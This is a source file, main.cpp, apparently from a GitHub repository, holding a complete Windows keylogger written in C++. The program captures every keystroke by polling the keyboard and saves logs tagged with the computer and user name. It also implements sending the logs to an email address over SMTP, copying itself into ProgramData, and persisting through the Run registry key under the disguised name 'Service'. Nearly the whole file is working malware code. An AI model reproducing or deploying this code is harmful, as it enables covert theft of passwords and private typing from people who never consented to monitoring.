-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.cpp
317 lines (277 loc) · 11.4 KB
/
main.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
#include <algorithm>
#include <array>
#include <chrono>
#include <codecvt>
#include <cstddef>
#include <cstdint>
#include <cstdlib>
#include <cwctype>
#include <filesystem>
#include <format>
#include <fstream>
#include <iostream>
#include <locale>
#include <string>
#include <thread>
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winsock2.h>
#include <lmcons.h>
#pragma comment(lib, "ws2_32.lib")
namespace blackbird
{
namespace utility
{
[[nodiscard]]
std::wstring executable_path ()
{
std::wstring result(MAX_PATH, L'\0');
GetModuleFileNameW (nullptr, result.data(), static_cast<DWORD>(result.size()));
result.erase (result.find(L'\0'));
return result;
}
[[nodiscard]]
std::wstring computer_name ()
{
DWORD size (MAX_COMPUTERNAME_LENGTH + 1);
std::wstring result(size, L'\0');
GetComputerNameW (result.data(), &size);
result.erase (result.find(L'\0'));
return result;
}
[[nodiscard]]
std::wstring user_name ()
{
DWORD size (UNLEN + 1);
std::wstring result(size, L'\0');
GetUserNameW (result.data(), &size);
result.erase (result.find(L'\0'));
return result;
}
[[nodiscard]]
std::wstring locale_bcp_47_tag(HKL locale)
{
std::wstring result(16, L'\0');
LCIDToLocaleName (MAKELCID(LOWORD(locale), SORT_DEFAULT), result.data(), static_cast<std::int32_t>(result.size()), 0);
result.erase (result.find(L'\0'));
return result;
}
bool create_process (const std::wstring& command_line, const std::wstring& working_directory = std::wstring())
{
STARTUPINFOW startup_info;
PROCESS_INFORMATION process_info;
std::memset(&startup_info, 0, sizeof(STARTUPINFOW));
std::memset(&process_info, 0, sizeof(PROCESS_INFORMATION));
startup_info.cb = sizeof(STARTUPINFOW);
if(!CreateProcessW(nullptr, const_cast<LPWSTR>(command_line.data()), nullptr, nullptr, false, CREATE_NEW_CONSOLE, nullptr, working_directory.empty() ? nullptr : working_directory.data(), &startup_info, &process_info))
return false;
CloseHandle(process_info.hProcess);
CloseHandle(process_info.hThread );
return true;
}
bool set_registry (const HKEY key, const std::wstring& sub_key, const std::wstring& name, const std::wstring& value)
{
HKEY handle = nullptr;
const auto create_result = RegCreateKeyExW(key, sub_key.c_str(), 0, nullptr, REG_OPTION_NON_VOLATILE, KEY_READ | KEY_WRITE, nullptr, &handle, nullptr);
if (create_result != ERROR_SUCCESS)
return false;
const auto set_result = RegSetValueExW(handle, name.c_str(), 0, REG_SZ, reinterpret_cast<const std::uint8_t*>(value.c_str()), static_cast<DWORD>(value.size() * sizeof(wchar_t)) + 1);
RegCloseKey(handle);
return set_result == ERROR_SUCCESS;
}
bool send_email (const std::string& host_name, const std::string& api_key, const std::string& email_address, const std::wstring& subject, const std::wstring& content)
{
WSADATA wsa_data;
WSAStartup(MAKEWORD(1, 1), &wsa_data);
const LPHOSTENT host = gethostbyname(host_name.c_str());
const SOCKET socket = ::socket (PF_INET, SOCK_STREAM, 0);
const LPSERVENT service = getservbyname("smtp", nullptr);
SOCKADDR_IN address ;
address.sin_family = AF_INET;
address.sin_port = service ? service->s_port : htons(IPPORT_SMTP);
address.sin_addr = *reinterpret_cast<LPIN_ADDR>(*host->h_addr_list);
if (connect(socket, reinterpret_cast<PSOCKADDR>(&address), sizeof address))
return false;
std::string sent;
std::string received(4096, '\0');
std::wstring_convert<std::codecvt_utf8<wchar_t>> converter;
recv(socket, received.data(), static_cast<std::int32_t>(received.size()), 0);
sent = "AUTH LOGIN\r\n";
send(socket, sent .data(), static_cast<std::int32_t>(sent .size()), 0);
recv(socket, received.data(), static_cast<std::int32_t>(received.size()), 0);
sent = "YXBpa2V5\r\n";
send(socket, sent .data(), static_cast<std::int32_t>(sent .size()), 0);
recv(socket, received.data(), static_cast<std::int32_t>(received.size()), 0);
sent = api_key + "\r\n";
send(socket, sent .data(), static_cast<std::int32_t>(sent .size()), 0);
recv(socket, received.data(), static_cast<std::int32_t>(received.size()), 0);
sent = "MAIL FROM:<" + email_address + ">\r\n";
send(socket, sent .data(), static_cast<std::int32_t>(sent .size()), 0);
recv(socket, received.data(), static_cast<std::int32_t>(received.size()), 0);
sent = "RCPT TO:<" + email_address + ">\r\n";
send(socket, sent .data(), static_cast<std::int32_t>(sent .size()), 0);
recv(socket, received.data(), static_cast<std::int32_t>(received.size()), 0);
sent = "DATA\r\n";
send(socket, sent .data(), static_cast<std::int32_t>(sent .size()), 0);
recv(socket, received.data(), static_cast<std::int32_t>(received.size()), 0);
sent = "From: \"Logger\" <" + email_address + ">\r\n";
send(socket, sent .data(), static_cast<std::int32_t>(sent .size()), 0);
sent = "To: \"Logger\" <" + email_address + ">\r\n";
send(socket, sent .data(), static_cast<std::int32_t>(sent .size()), 0);
sent = "Subject:=?utf-8?Q?" + converter.to_bytes(subject) + "?=\r\n";
send(socket, sent .data(), static_cast<std::int32_t>(sent .size()), 0);
sent = "Content-Type: text/html; charset=utf-8\r\n";
send(socket, sent .data(), static_cast<std::int32_t>(sent .size()), 0);
sent = "\r\n";
send(socket, sent .data(), static_cast<std::int32_t>(sent .size()), 0);
sent = converter.to_bytes(content);
send(socket, sent .data(), static_cast<std::int32_t>(sent .size()), 0);
sent = "\r\n.\r\n";
send(socket, sent .data(), static_cast<std::int32_t>(sent .size()), 0);
recv(socket, received.data(), static_cast<std::int32_t>(received.size()), 0);
sent = "QUIT\r\n";
send(socket, sent .data(), static_cast<std::int32_t>(sent .size()), 0);
recv(socket, received.data(), static_cast<std::int32_t>(received.size()), 0);
closesocket(socket);
WSACleanup ();
return true;
}
}
struct settings
{
std::chrono::milliseconds update_interval {10};
std::chrono::seconds save_interval {900};
bool save_to_file {true};
std::wstring file_prefix ;
bool save_to_email {false};
std::string email_host ;
std::string email_api_key ;
std::string email_address ;
bool copy_to_system {false};
std::wstring system_directory {_wgetenv(L"ProgramData")};
bool auto_run_on_startup {false};
std::wstring registry_name {L"Service"};
};
class key_logger
{
public:
using clock = std::chrono::system_clock;
using time_point = clock::time_point;
explicit key_logger (settings _settings = settings()) : settings_(std::move(_settings))
{
#ifdef _DEBUG
AllocConsole ();
SetConsoleOutputCP(GetACP());
freopen ("CONIN$" , "r", stdin );
freopen ("CONOUT$", "w", stderr);
freopen ("CONOUT$", "w", stdout);
#else
if (settings_.copy_to_system)
{
const auto path = utility::executable_path();
const auto target_directory = settings_.system_directory + L"\\" + std::filesystem::path(path).filename().replace_extension().c_str() + L"\\";
const auto target_path = target_directory + std::filesystem::path(path).filename().c_str();
if (path != target_path)
{
std::filesystem::create_directory(target_directory);
std::filesystem::copy (path, target_path, std::filesystem::copy_options::overwrite_existing);
utility::create_process (target_path, target_directory);
std::exit (0);
}
}
if (settings_.auto_run_on_startup)
{
const std::wstring sub_key(LR"(Software\Microsoft\Windows\CurrentVersion\Run)");
const std::wstring value (L"\"" + utility::executable_path() + L"\"");
utility::set_registry(HKEY_LOCAL_MACHINE, sub_key, settings_.registry_name, value) || // Run as admin necessary.
utility::set_registry(HKEY_CURRENT_USER , sub_key, settings_.registry_name, value); // Run as admin not necessary.
}
#endif
}
key_logger (const key_logger& that) = default;
key_logger ( key_logger&& temp) = default;
virtual ~key_logger () = default;
key_logger& operator=(const key_logger& that) = default;
key_logger& operator=( key_logger&& temp) = default;
[[noreturn]]
void run ()
{
while (true)
{
GetKeyboardState(keyboard_state_.data());
const auto locale = GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), nullptr));
const auto locale_tag = utility::locale_bcp_47_tag(locale);
std::setlocale(LC_ALL, std::string(locale_tag.begin(), locale_tag.end()).c_str());
for (std::size_t i = 0; i < keyboard_state_.size(); ++i)
{
if (GetAsyncKeyState(static_cast<std::int32_t>(i)) < 0)
{
if (!keyboard_memory_[i])
{
keyboard_memory_[i] = true;
wchar_t character;
ToUnicodeEx(static_cast<std::uint32_t>(i), 0, keyboard_state_.data(), &character, 1, 0, locale);
if ((GetAsyncKeyState(VK_SHIFT) < 0) != ((GetKeyState(VK_CAPITAL) & 1) != 0))
character = std::towupper(character);
if (character != L'\0')
log_ += character;
#ifdef _DEBUG
std::wcout << character;
#endif
}
}
else
keyboard_memory_[i] = false;
}
if (auto now = clock::now(); now - last_save_ >= settings_.save_interval)
{
if (!log_.empty())
{
const auto name = log_name(last_save_);
if (settings_.save_to_file)
{
std::wofstream file(settings_.file_prefix + name + L".txt");
file.imbue(std::locale(std::string(locale_tag.begin(), locale_tag.end())));
file << log_;
}
if (settings_.save_to_email)
utility::send_email(settings_.email_host, settings_.email_api_key, settings_.email_address, name, log_);
log_.clear();
}
last_save_ = now;
}
std::this_thread::sleep_for(settings_.update_interval);
}
}
protected:
[[nodiscard]]
static std::wstring log_name(const time_point& time)
{
return utility::computer_name() + L" " + utility::user_name() + L" " + std::format(L"{:%Y %m %d %H %M %S}", std::chrono::time_point_cast<std::chrono::seconds>(time));
}
settings settings_ {};
std::wstring log_ {};
std::array<std::uint8_t, 256> keyboard_state_ {};
std::array<bool , 256> keyboard_memory_ {};
time_point last_save_ {clock::now()};
};
}
std::int32_t WinMain(HINSTANCE, HINSTANCE, LPTSTR, std::int32_t)
{
const blackbird::settings settings
{
.update_interval = std::chrono::milliseconds(10),
.save_interval = std::chrono::seconds (900),
.save_to_file = true,
.file_prefix = L"" ,
.save_to_email = false,
.email_host = "",
.email_api_key = "",
.email_address = "",
.copy_to_system = false,
.system_directory = _wgetenv(L"ProgramData"),
.auto_run_on_startup = false,
.registry_name = L"Service"
};
blackbird::key_logger(settings).run();
}